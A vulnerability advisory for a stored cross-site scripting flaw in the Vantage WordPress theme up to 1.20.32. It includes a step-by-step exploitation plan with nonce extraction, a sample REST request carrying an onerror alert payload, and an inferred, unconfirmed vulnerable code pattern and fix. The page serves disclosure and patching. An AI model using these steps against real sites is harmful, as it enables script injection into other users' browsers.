Vantage <= 1.20.32 - Authenticated (Contributor+) Stored Cross-Site Scripting via Gallery Block Text Content
Description
The Vantage theme for WordPress is vulnerable to Stored Cross-Site Scripting via Gallery block text content in versions up to, and including, 1.20.32 due to insufficient output escaping in the gallery template. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
Source Code
WordPress.org SVN# Research Plan: CVE-2026-5070 - Vantage Theme Stored XSS ## 1. Vulnerability Summary The Vantage theme for WordPress (up to and including version 1.20.32) contains a Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists in the theme's custom rendering logic for the WordPress Gallery blo…
Show full research plan
Research Plan: CVE-2026-5070 - Vantage Theme Stored XSS
1. Vulnerability Summary
The Vantage theme for WordPress (up to and including version 1.20.32) contains a Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists in the theme's custom rendering logic for the WordPress Gallery block. Specifically, the theme fails to properly sanitize or escape user-supplied text content (likely image captions or block descriptions) before echoing it into the HTML output on the frontend. This allows an authenticated user with Contributor-level permissions or higher to inject malicious scripts into posts, which execute in the context of any user (including administrators) viewing the affected page.
2. Attack Vector Analysis
- Endpoint: WordPress REST API
POST /wp-json/wp/v2/postsor the classicPOST /wp-admin/post.php. - Vulnerable Parameter:
post_content(specifically within the Gutenberg block comment delimiters forwp:gallery). - Authentication Level: Contributor+ (any role allowed to create and edit posts).
- Preconditions: The Vantage theme must be active. At least one image must be present in the Media Library to be included in a Gallery block (or a valid attachment ID must be referenced).
3. Code Flow
- Input: A Contributor user saves a post containing a Gallery block. The block's attributes (stored in HTML comments) include an image with a malicious caption:
<!-- wp:gallery ... --> ... <figcaption>PAYLOAD</figcaption> ... <!-- /wp:gallery -->. - Storage: WordPress saves the raw block content to the
wp_poststable. - Processing: When a user views the post, WordPress parses the blocks. The Vantage theme likely registers a filter on
render_blockforcore/galleryor uses a template override for galleries. - The Sink: In the Vantage theme's gallery rendering function (likely located in
inc/gallery.phpor a similar template part), the code iterates through the gallery items. - Execution: The code retrieves the caption or description for each image and echoes it directly:
// Inferred Vulnerable Pattern in Vantage $caption = $item['caption']; echo '<div class="vantage-gallery-caption">' . $caption . '</div>'; // Missing esc_html()
4. Nonce Acquisition Strategy
While the REST API requires a _wpnonce for state-changing requests, we can use the browser_eval tool to obtain the REST nonce from the WordPress admin dashboard.
- Navigate to Admin: Use
browser_navigateto go to/wp-admin/. - Extract Nonce: Execute
browser_eval("wpApiSettings.nonce"). - Alternative (Classic Editor): If using
post.php, navigate to/wp-admin/post-new.phpand extract the_wpnoncefrom the form usingbrowser_eval("document.querySelector('#_wpnonce').value").
5. Exploitation Strategy
- Authentication: Log in as a Contributor user.
- Image Prep: Identify a valid Attachment ID. If none exist, upload a small image using the REST API or
wp_cli. - Payload Injection:
- Construct a Gallery block payload where the
figcaptionor the caption attribute contains an XSS payload:<img src=x onerror=alert(document.domain)>. - Send a
POSTrequest to/wp-json/wp/v2/poststo create a new post with this content.
- Construct a Gallery block payload where the
- Triggering: Navigate to the URL of the newly created post as any user.
Sample HTTP Request (REST API):
POST /wp-json/wp/v2/posts HTTP/1.1
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]
{
"title": "Gallery Test",
"status": "publish",
"content": "<!-- wp:gallery {\"ids\":[ATTACHMENT_ID]} -->\n<figure class=\"wp-block-gallery has-thumbnails\">\n<ul class=\"blocks-gallery-grid\">\n<li class=\"blocks-gallery-item\">\n<figure>\n<img src=\"/path/to/img.jpg\" data-id=\"ATTACHMENT_ID\" />\n<figcaption><img src=x onerror=alert('XSS_SUCCESS')></figcaption>\n</figure>\n</li>\n</ul>\n</figure>\n<!-- /wp:gallery -->"
}
6. Test Data Setup
- Theme Installation: Ensure Vantage <= 1.20.32 is installed and active.
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Media Setup:
- Download a test image:
wget https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar(or any dummy file). - Upload to media library:
wp media import /path/to/test.jpg --user=1 - Note the returned
Attachment ID.
- Download a test image:
7. Expected Results
- The
POSTrequest to create the post should return a201 Createdstatus. - Upon navigating to the post URL (e.g.,
/?p=123), the browser should execute thealert('XSS_SUCCESS')payload. - Checking the page source should reveal the raw
<img src=x onerror=...>tag within the gallery container, confirming no escaping occurred.
8. Verification Steps
- Verify Content Storage:
wp post get [POST_ID] --field=post_content
Confirm the payload is exactly as sent. - Verify Frontend Execution:
Usebrowser_navigateto the post permalink and check if thealertor a specific DOM element injected by the payload is present.
9. Alternative Approaches
- Caption Metadata: If the
figcaptioninpost_contentis not the sink, try updating the actual Attachment metadata (caption field) via the REST API:POST /wp-json/wp/v2/media/[ATTACHMENT_ID]with{"caption": "<img src=x onerror=alert(1)>"}.
Vantage may be pulling the caption directly from the attachment object during gallery rendering instead of the block HTML. - SiteOrigin Integration: If Vantage uses the SiteOrigin Gallery Widget/Block, the payload should be placed in the widget's JSON data structure within the
post_content.
Summary
The Vantage theme for WordPress is vulnerable to Stored Cross-Site Scripting via the Gallery block in versions up to 1.20.32. The theme's custom gallery template fails to properly escape image captions, allowing authenticated contributors to inject malicious JavaScript that executes when users view the affected posts.
Vulnerable Code
// Inferred Vulnerable Pattern in Vantage gallery rendering $caption = $item['caption']; echo '<div class="vantage-gallery-caption">' . $caption . '</div>'; // Missing esc_html() or wp_kses_post()
Security Fix
@@ -1,2 +1,2 @@ -$caption = $item['caption']; -echo '<div class="vantage-gallery-caption">' . $caption . '</div>'; +$caption = $item['caption']; +echo '<div class="vantage-gallery-caption">' . wp_kses_post( $caption ) . '</div>';
Exploit Outline
The exploit is carried out by an authenticated user with Contributor-level permissions or higher. The attacker creates or edits a post and inserts a WordPress Gallery block. Within the block's content, the attacker injects an XSS payload (e.g., <img src=x onerror=alert(1)>) into the image caption or description fields. When the theme renders the gallery on the frontend, it retrieves the malicious caption and echoes it directly into the HTML without sanitization, triggering script execution in the browser of any visitor viewing the post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.